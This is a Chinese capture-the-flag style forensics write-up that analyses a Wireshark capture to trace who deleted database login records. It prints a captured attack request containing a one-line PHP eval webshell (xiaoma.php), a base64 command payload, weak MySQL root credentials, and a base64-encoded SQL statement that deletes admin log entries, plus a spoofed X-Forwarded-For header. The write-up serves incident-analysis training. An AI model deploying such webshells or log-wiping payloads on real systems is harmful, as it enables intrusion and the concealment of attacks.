题目地址:https://www.mozhe.cn/bug/detail/NDU3RnFGTitFdUlaOXNlNFp6QzUydz09bW96aGUmozhe
背景介绍:某公司安全工程师抓取到一段Wireshark数据包,发现有人删除了数据库中的登录记录,找到攻击者境内的IP地址。
使用工具:WireShark
首先打开 23.pcapng 这个流量数据包:
由上图可见,流量有上万条数据包!那么如何在上万条数据流里找到我们想要的信息呢?
我们先来分析题目的要求:发现有人删除了数据库中的登录记录,找到攻击者境内的IP地址!
重点一:删除了数据库中的登陆记录
重点二:攻击者的IP是境内的
由这两点我们就可以大概的了解了攻击者的手法:攻击者登陆到了数据库,然后利用SQL语法对数据库的数据进行了删除!
而我们知道,在一些常规的数据库SQL语法中,删除数据库的语句是:delete、drop...等等。那么这样我们就能缩小范围进行筛选了!
PS:按照入侵的流程,想要登陆到数据库那么只有两种方式:
第一种:通过WEB网站入侵到服务器拿到数据库的配置信息从而登陆到数据库
第二种:通过弱口令对数据库进行暴力破解从而登陆到数据库
第三种:通过未授权访问,由于运维人员的错误配置导致黑客能够未授权的登陆到数据库
我首先是过滤了一下HTTP协议的POST请求查看有那些提交的数据包:
http.request.method=="POST"
由上图可见,我通过过滤 HTTP 协议的 POST 请求发现了有一个木马文件:xiaoma.php
既然他删除了他的日志记录,那么我们就从最后一条有关于 xiaoma.php 这个请求文件数据包进行分析:最后一条的时间线是 17.257603,是第 7143 条数据:
由上图可见,我们点开 Hypertext Transfer Protocol 这一栏,我们可以看到 HTTP 协议的数据:
Hypertext Transfer Protocol
POST /uploads/upload/xiaoma.php HTTP/1.1\r\n
[Expert Info (Chat/Sequence): POST /uploads/upload/xiaoma.php HTTP/1.1\r\n]
[POST /uploads/upload/xiaoma.php HTTP/1.1\r\n]
[Severity level: Chat]
[Group: Sequence]
Request Method: POST
Request URI: /uploads/upload/xiaoma.php
Request Version: HTTP/1.1
X-Forwarded-For: 156.27.191.141\r\n
Referer: http://123.108.208.144\r\n
Content-Type: application/x-www-form-urlencoded\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n
Host: 123.108.208.144\r\n
Content-Length: 957\r\n
[Content length: 957]
Connection: Close\r\n
Cache-Control: no-cache\r\n
\r\n
[Full request URI: http://123.108.208.144/uploads/upload/xiaoma.php]
[HTTP request 1/1]
[Response in frame: 7144]
File Data: 957 bytes
其中目标还伪造了一个 IP :X-Forwarded-For: 156.27.191.141(我们先记录)
接着往下看这条 POST 表单数据:HTML Form URL Encoded: application/x-www-form-urlencoded
HTML Form URL Encoded: application/x-www-form-urlencoded
Form item: "d76R3478" = "@eval(base64_decode($_POST[z0]));"
Key: d76R3478
Value: @eval\001(base64_decode($_POST[z0]));
Form item: "z0" = "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJd
Key: z0
Value [truncated]: QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJ
Form item: "z1" = "localhost"
Key: z1
Value: localhost
Form item: "z2" = "root"
Key: z2
Value: root
Form item: "z3" = "root"
Key: z3
Value: root
Form item: "z4" = "mysql"
Key: z4
Value: mysql
Form item: "z5" = "ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7"
Key: z5
Value: ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7
由上图的数据可见,我们由此获得了几点重要的信息:
信息一:目标的一句话木马是
@eval(base64_decode($_POST[z0]));
信息二:目标使用了弱口令登陆到了MySQL数据库里
Form item: "z1" = "localhost"
Key: z1
Value: localhost
Form item: "z2" = "root"
Key: z2
Value: root
Form item: "z3" = "root"
Key: z3
Value: root
Form item: "z4" = "mysql"
Key: z4
Value: mysql
信息三:目标加密了一些数据,其中加密方式是 base64 加密